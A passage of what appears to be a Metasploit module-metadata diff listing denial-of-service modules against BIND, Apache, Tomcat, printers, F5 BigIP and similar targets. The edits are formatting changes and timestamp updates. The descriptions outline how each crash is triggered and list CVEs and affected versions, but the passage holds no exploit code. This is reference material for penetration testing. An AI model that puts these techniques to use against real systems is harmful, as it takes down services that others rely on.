"auxiliary/dos/dns/bind_tkey", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-28", "type": "auxiliary", @@ -13573,23 +13550,19 @@ "throwawayokejxqbbif", "wvu " ], - "description": "This module sends a malformed TKEY query, which exploits an\n error in handling TKEY queries on affected BIND9 'named' DNS servers.\n As a result, a vulnerable named server will exit with a REQUIRE\n assertion failure. This condition can be exploited in versions of BIND\n between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0\n through 9.10.2-P2.", + "description": "This module sends a malformed TKEY query, which exploits an\n error in handling TKEY queries on affected BIND9 'named' DNS servers.\n As a result, a vulnerable named server will exit with a REQUIRE\n assertion failure. This condition can be exploited in versions of BIND\n between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0\n through 9.10.2-P2.", "references": [ "CVE-2015-5477", - "URL-https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/", + "URL-http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/", "URL-https://kb.isc.org/article/AA-01272" ], "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2018-11-16 12:18:28 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/dns/bind_tkey.rb", "is_install_path": true, "ref_name": "dos/dns/bind_tkey", @@ -13597,19 +13570,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dns/bind_tsig": { "name": "BIND TSIG Query Denial of Service", "fullname": "auxiliary/dos/dns/bind_tsig", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-09-27", "type": "auxiliary", @@ -13619,7 +13593,7 @@ "Alejandro Parodi", "Infobyte Research Team" ], - "description": "A defect in the rendering of messages into packets can cause named to\n exit with an assertion failure in buffer.c while constructing a response\n to a query that meets certain criteria.\n\n This assertion can be triggered even if the apparent source address\n isn't allowed to make queries.", + "description": "A defect in the rendering of messages into packets can cause named to\n exit with an assertion failure in buffer.c while constructing a response\n to a query that meets certain criteria.\n\n This assertion can be triggered even if the apparent source address\n isn't allowed to make queries.", "references": [ "CVE-2016-2776", "URL-http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html" @@ -13627,14 +13601,10 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/dns/bind_tsig.rb", "is_install_path": true, "ref_name": "dos/dns/bind_tsig", @@ -13642,19 +13612,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/dns/bind_tsig_badtime": { "name": "BIND TSIG Badtime Query Denial of Service", "fullname": "auxiliary/dos/dns/bind_tsig_badtime", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-19", "type": "auxiliary", @@ -13671,12 +13642,8 @@ "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-03 18:12:53 +0000", "path": "/modules/auxiliary/dos/dns/bind_tsig_badtime.rb", @@ -13689,32 +13656,24 @@ "Stability": [ "crash-service-down" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/freebsd/nfsd/nfsd_mount": { "name": "FreeBSD Remote NFS RPC Request Denial of Service", "fullname": "auxiliary/dos/freebsd/nfsd/nfsd_mount", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "MC " ], - "description": "This module sends a specially-crafted NFS Mount request causing a\n kernel panic on host running FreeBSD 6.0.", + "description": "This module sends a specially-crafted NFS Mount request causing a\n kernel panic on host running FreeBSD 6.0.", "references": [ "BID-16838", "OSVDB-23511", @@ -13723,14 +13682,10 @@ "platform": "", "arch": "", "rport": 2049, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb", "is_install_path": true, "ref_name": "dos/freebsd/nfsd/nfsd_mount", @@ -13738,19 +13693,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ftp/vsftpd_232": { "name": "VSFTPD 2.3.2 Denial of Service", "fullname": "auxiliary/dos/ftp/vsftpd_232", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-02-03", "type": "auxiliary", @@ -13777,7 +13733,7 @@ "ftp" ], "targets": null, - "mod_time": "2023-05-25 21:21:49 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/ftp/vsftpd_232.rb", "is_install_path": true, "ref_name": "dos/ftp/vsftpd_232", @@ -13788,25 +13744,17 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - "repeatable-session" - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/hp/data_protector_rds": { "name": "HP Data Protector Manager RDS DOS", "fullname": "auxiliary/dos/hp/data_protector_rds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-08", "type": "auxiliary", @@ -13814,7 +13762,7 @@ "Roi Mallo ", "sinn3r " ], - "description": "This module causes a remote DOS on HP Data Protector's RDS service. By sending\n a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous\n size for malloc().", + "description": "This module causes a remote DOS on HP Data Protector's RDS service. By sending\n a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous\n size for malloc().", "references": [ "CVE-2011-0514", "OSVDB-70617", @@ -13823,14 +13771,10 @@ "platform": "", "arch": "", "rport": 1530, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/hp/data_protector_rds.rb", "is_install_path": true, "ref_name": "dos/hp/data_protector_rds", @@ -13838,26 +13782,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/3com_superstack_switch": { "name": "3Com SuperStack Switch Denial of Service", "fullname": "auxiliary/dos/http/3com_superstack_switch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-06-24", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module causes a temporary denial of service condition\n against 3Com SuperStack switches. By sending excessive data\n to the HTTP Management interface, the switch stops responding\n temporarily. The device does not reset. Tested successfully\n against a 3300SM firmware v2.66. Reported to affect versions\n prior to v2.72.", + "description": "This module causes a temporary denial of service condition\n against 3Com SuperStack switches. By sending excessive data\n to the HTTP Management interface, the switch stops responding\n temporarily. The device does not reset. Tested successfully\n against a 3300SM firmware v2.66. Reported to affect versions\n prior to v2.72.", "references": [ "OSVDB-7246", "CVE-2004-2691", @@ -13866,14 +13811,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/3com_superstack_switch.rb", "is_install_path": true, "ref_name": "dos/http/3com_superstack_switch", @@ -13881,19 +13822,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/apache_commons_fileupload_dos": { "name": "Apache Commons FileUpload and Apache Tomcat DoS", "fullname": "auxiliary/dos/http/apache_commons_fileupload_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-06", "type": "auxiliary", @@ -13901,7 +13843,7 @@ "Unknown", "ribeirux" ], - "description": "This module triggers an infinite loop in Apache Commons FileUpload 1.0\n through 1.3 via a specially crafted Content-Type header.\n Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle\n mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50\n and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also\n uses Commons FileUpload as part of the Manager application.", + "description": "This module triggers an infinite loop in Apache Commons FileUpload 1.0\n through 1.3 via a specially crafted Content-Type header.\n Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle\n mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50\n and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also\n uses Commons FileUpload as part of the Manager application.", "references": [ "CVE-2014-0050", "URL-https://tomcat.apache.org/security-8.html", @@ -13926,7 +13868,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb", "is_install_path": true, "ref_name": "dos/http/apache_commons_fileupload_dos", @@ -13934,19 +13876,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/apache_mod_isapi": { "name": "Apache mod_isapi Dangling Pointer", "fullname": "auxiliary/dos/http/apache_mod_isapi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-05", "type": "auxiliary", @@ -13954,7 +13897,7 @@ "Brett Gervasoni", "jduck " ], - "description": "This module triggers a use-after-free vulnerability in the Apache\n Software Foundation mod_isapi extension for versions 2.2.14 and earlier.\n In order to reach the vulnerable code, the target server must have an\n ISAPI module installed and configured.\n\n By making a request that terminates abnormally (either an aborted TCP\n connection or an unsatisfied chunked request), mod_isapi will unload the\n ISAPI extension. Later, if another request comes for that ISAPI module,\n previously obtained pointers will be used resulting in an access\n violation or potentially arbitrary code execution.\n\n Although arbitrary code execution is theoretically possible, a\n real-world method of invoking this consequence has not been proven. In\n order to do so, one would need to find a situation where a particular\n ISAPI module loads at an image base address that can be re-allocated by\n a remote attacker.\n\n Limited success was encountered using two separate ISAPI modules. In\n this scenario, a second ISAPI module was loaded into the same memory\n area as the previously unloaded module.", + "description": "This module triggers a use-after-free vulnerability in the Apache\n Software Foundation mod_isapi extension for versions 2.2.14 and earlier.\n In order to reach the vulnerable code, the target server must have an\n ISAPI module installed and configured.\n\n By making a request that terminates abnormally (either an aborted TCP\n connection or an unsatisfied chunked request), mod_isapi will unload the\n ISAPI extension. Later, if another request comes for that ISAPI module,\n previously obtained pointers will be used resulting in an access\n violation or potentially arbitrary code execution.\n\n Although arbitrary code execution is theoretically possible, a\n real-world method of invoking this consequence has not been proven. In\n order to do so, one would need to find a situation where a particular\n ISAPI module loads at an image base address that can be re-allocated by\n a remote attacker.\n\n Limited success was encountered using two separate ISAPI modules. In\n this scenario, a second ISAPI module was loaded into the same memory\n area as the previously unloaded module.", "references": [ "CVE-2010-0425", "OSVDB-62674", @@ -13967,14 +13910,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/apache_mod_isapi.rb", "is_install_path": true, "ref_name": "dos/http/apache_mod_isapi", @@ -13982,19 +13921,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/apache_range_dos": { "name": "Apache Range Header DoS (Apache Killer)", "fullname": "auxiliary/dos/http/apache_range_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-19", "type": "auxiliary", @@ -14003,7 +13943,7 @@ "Masashi Fujiwara", "Markus Neis " ], - "description": "The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x\n through 2.2.19 allows remote attackers to cause a denial of service (memory and\n CPU consumption) via a Range header that expresses multiple overlapping ranges,\n exploit called \"Apache Killer\"", + "description": "The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x\n through 2.2.19 allows remote attackers to cause a denial of service (memory and\n CPU consumption) via a Range header that expresses multiple overlapping ranges,\n exploit called \"Apache Killer\".", "references": [ "BID-49303", "CVE-2011-3192", @@ -14029,7 +13969,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/auxiliary/dos/http/apache_range_dos.rb", "is_install_path": true, "ref_name": "dos/http/apache_range_dos", @@ -14037,6 +13977,14 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "Apache Killer" + ], + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -14054,9 +14002,7 @@ "auxiliary_dos/http/apache_tomcat_transfer_encoding": { "name": "Apache Tomcat Transfer-Encoding Information Disclosure and DoS", "fullname": "auxiliary/dos/http/apache_tomcat_transfer_encoding", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-09", "type": "auxiliary", @@ -14065,7 +14011,7 @@ "Hoagie ", "Paulino Calderon " ], - "description": "Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not\n properly handle an invalid Transfer-Encoding header, which allows remote attackers\n to cause a denial of service (application outage) or obtain sensitive information\n via a crafted header that interferes with \"recycling of a buffer.\"", + "description": "Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not\n properly handle an invalid Transfer-Encoding header, which allows remote attackers\n to cause a denial of service (application outage) or obtain sensitive information\n via a crafted header that interferes with \"recycling of a buffer.\"", "references": [ "CVE-2010-2227", "OSVDB-66319", @@ -14074,14 +14020,10 @@ "platform": "", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb", "is_install_path": true, "ref_name": "dos/http/apache_tomcat_transfer_encoding", @@ -14089,19 +14031,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/brother_debut_dos": { "name": "Brother Debut http Denial Of Service", "fullname": "auxiliary/dos/http/brother_debut_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-11-02", "type": "auxiliary", @@ -14109,7 +14052,7 @@ "z00n <0xz00n@gmail.com>", "h00die" ], - "description": "The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial\n of Service (DoS) condition via a crafted HTTP request. The printer will be\n unresponsive from HTTP and printing requests for ~300 seconds. After which, the\n printer will start responding again.", + "description": "The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial\n of Service (DoS) condition via a crafted HTTP request. The printer will be\n unresponsive from HTTP and printing requests for ~300 seconds. After which, the\n printer will start responding again.", "references": [ "CVE-2017-16249", "URL-https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730" @@ -14133,7 +14076,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/brother_debut_dos.rb", "is_install_path": true, "ref_name": "dos/http/brother_debut_dos", @@ -14141,19 +14084,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/cable_haunt_websocket_dos": { "name": "\"Cablehaunt\" Cable Modem WebSocket DoS", "fullname": "auxiliary/dos/http/cable_haunt_websocket_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-01-07", "type": "auxiliary", @@ -14204,29 +14148,23 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/canon_wireless_printer": { "name": "Canon Wireless Printer Denial Of Service", "fullname": "auxiliary/dos/http/canon_wireless_printer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-18", "type": "auxiliary", "author": [ "Matt \"hostess\" Andreko " ], - "description": "The HTTP management interface on several models of Canon Wireless printers\n allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:\n if this module is successful, the device can only be recovered with a physical\n power cycle.", + "description": "The HTTP management interface on several models of Canon Wireless printers\n allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:\n if this module is successful, the device can only be recovered with a physical\n power cycle.", "references": [ "CVE-2013-4615", "URL-https://www.mattandreko.com/2013/06/canon-y-u-no-security.html" @@ -14250,7 +14188,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/canon_wireless_printer.rb", "is_install_path": true, "ref_name": "dos/http/canon_wireless_printer", @@ -14258,26 +14196,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/dell_openmanage_post": { "name": "Dell OpenManage POST Request Heap Overflow (win32)", "fullname": "auxiliary/dos/http/dell_openmanage_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-02-26", "type": "auxiliary", "author": [ "aushack " ], - "description": "This module exploits a heap overflow in the Dell OpenManage\n Web Server (omws32.exe), versions 3.2-3.7.1. The vulnerability\n exists due to a boundary error within the handling of POST requests,\n where the application input is set to an overly long file name.\n This module will crash the web server, however it is likely exploitable\n under certain conditions.", + "description": "This module exploits a heap overflow in the Dell OpenManage\n Web Server (omws32.exe), versions 3.2-3.7.1. The vulnerability\n exists due to a boundary error within the handling of POST requests,\n where the application input is set to an overly long file name.\n This module will crash the web server, however it is likely exploitable\n under certain conditions.", "references": [ "URL-http://archives.neohapsis.com/archives/bugtraq/2004-02/0650.html", "BID-9750", @@ -14287,14 +14226,10 @@ "platform": "", "arch": "", "rport": 1311, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/dell_openmanage_post.rb", "is_install_path": true, "ref_name": "dos/http/dell_openmanage_post", @@ -14302,19 +14237,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/f5_bigip_apm_max_sessions": { "name": "F5 BigIP Access Policy Manager Session Exhaustion Denial of Service", "fullname": "auxiliary/dos/http/f5_bigip_apm_max_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -14323,7 +14259,7 @@ "Oleg Broslavsky ", "Nikita Oleksov " ], - "description": "This module exploits a resource exhaustion denial of service in F5 BigIP devices. An\n unauthenticated attacker can establish multiple connections with BigIP Access Policy\n Manager (APM) and exhaust all available sessions defined in customer license. In the\n first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP\n system creates a session, marks it as pending and then redirects the client to an access\n policy URI. Since BigIP allocates a new session after the first unauthenticated request,\n and deletes the session only if an access policy timeout expires, the attacker can exhaust\n all available sessions by repeatedly sending the initial HTTP request and leaving the\n sessions as pending.", + "description": "This module exploits a resource exhaustion denial of service in F5 BigIP devices. An\n unauthenticated attacker can establish multiple connections with BigIP Access Policy\n Manager (APM) and exhaust all available sessions defined in customer license. In the\n first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP\n system creates a session, marks it as pending and then redirects the client to an access\n policy URI. Since BigIP allocates a new session after the first unauthenticated request,\n and deletes the session only if an access policy timeout expires, the attacker can exhaust\n all available sessions by repeatedly sending the initial HTTP request and leaving the\n sessions as pending.", "references": [ "URL-https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html" ], @@ -14346,7 +14282,7 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb", "is_install_path": true, "ref_name": "dos/http/f5_bigip_apm_max_sessions", @@ -14354,26 +14290,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/flexense_http_server_dos": { "name": "Flexense HTTP Server Denial Of Service", "fullname": "auxiliary/dos/http/flexense_http_server_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-09", "type": "auxiliary", "author": [ "Ege Balci " ], - "description": "This module triggers a Denial of Service vulnerability in the Flexense HTTP server.\n Vulnerability caused by a user mode write access memory violation and can be triggered with\n rapidly sending variety of HTTP requests with long HTTP header values.\n\n Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below versions reportedly vulnerable.", + "description": "This module triggers a Denial of Service vulnerability in the Flexense HTTP server.\n Vulnerability caused by a user mode write access memory violation and can be triggered with\n rapidly sending variety of HTTP requests with long HTTP header values.\n\n Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below versions reportedly vulnerable.", "references": [ "CVE-2018-8065", "URL-https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS" @@ -14381,14 +14318,10 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/flexense_http_server_dos.rb", "is_install_path": true, "ref_name": "dos/http/flexense_http_server_dos", @@ -14396,19 +14329,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/gzip_bomb_dos": { "name": "Gzip Memory Bomb Denial Of Service", "fullname": "auxiliary/dos/http/gzip_bomb_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-01-01", "type": "auxiliary", @@ -14416,21 +14350,17 @@ "info ", "joev " ], - "description": "This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.\n Many applications will not implement a length limit check and will eat up all memory and\n eventually die. This can also be used to kill systems that download/parse content from\n a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).\n\n A FILEPATH datastore option can also be provided to save the .gz bomb locally.\n\n Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly\n deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)\n will generate a 300 byte gzipped file that expands to 10GB.", + "description": "This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.\n Many applications will not implement a length limit check and will eat up all memory and\n eventually die. This can also be used to kill systems that download/parse content from\n a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).\n\n A FILEPATH datastore option can also be provided to save the .gz bomb locally.\n\n Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly\n deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)\n will generate a 300 byte gzipped file that expands to 10GB.", "references": [ "URL-http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/gzip_bomb_dos.rb", "is_install_path": true, "ref_name": "dos/http/gzip_bomb_dos", @@ -14438,6 +14368,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -14451,9 +14386,7 @@ "auxiliary_dos/http/hashcollision_dos": { "name": "Hashtable Collisions", "fullname": "auxiliary/dos/http/hashcollision_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-28", "type": "auxiliary", @@ -14465,7 +14398,7 @@ "Krzysztof Kotowicz", "Christian Mehlmauer " ], - "description": "This module uses a denial-of-service (DoS) condition appearing in a variety of\n programming languages. This vulnerability occurs when storing multiple values\n in a hash table and all values have the same hash value. This can cause a web server\n parsing the POST parameters issued with a request into a hash table to consume\n hours of CPU with a single HTTP request.\n\n Currently, only the hash functions for PHP and Java are implemented.\n This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.\n It also generates a random payload to bypass some IDS signatures.", + "description": "This module uses a denial-of-service (DoS) condition appearing in a variety of\n programming languages. This vulnerability occurs when storing multiple values\n in a hash table and all values have the same hash value. This can cause a web server\n parsing the POST parameters issued with a request into a hash table to consume\n hours of CPU with a single HTTP request.\n\n Currently, only the hash functions for PHP and Java are implemented.\n This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.\n It also generates a random payload to bypass some IDS signatures.", "references": [ "URL-http://ocert.org/advisories/ocert-2011-003.html", "URL-https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf", @@ -14496,7 +14429,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/hashcollision_dos.rb", "is_install_path": true, "ref_name": "dos/http/hashcollision_dos", @@ -14504,19 +14437,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ibm_lotus_notes": { "name": "IBM Notes encodeURI DOS", "fullname": "auxiliary/dos/http/ibm_lotus_notes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-31", "type": "auxiliary", @@ -14532,14 +14466,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/ibm_lotus_notes.rb", "is_install_path": true, "ref_name": "dos/http/ibm_lotus_notes", @@ -14547,6 +14477,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -14560,9 +14495,7 @@ "auxiliary_dos/http/ibm_lotus_notes2": { "name": "IBM Notes Denial Of Service", "fullname": "auxiliary/dos/http/ibm_lotus_notes2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-31", "type": "auxiliary", @@ -14577,14 +14510,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-09 00:08:33 +0000", "path": "/modules/auxiliary/dos/http/ibm_lotus_notes2.rb", "is_install_path": true, "ref_name": "dos/http/ibm_lotus_notes2", @@ -14592,6 +14521,11 @@ "post_auth": false, 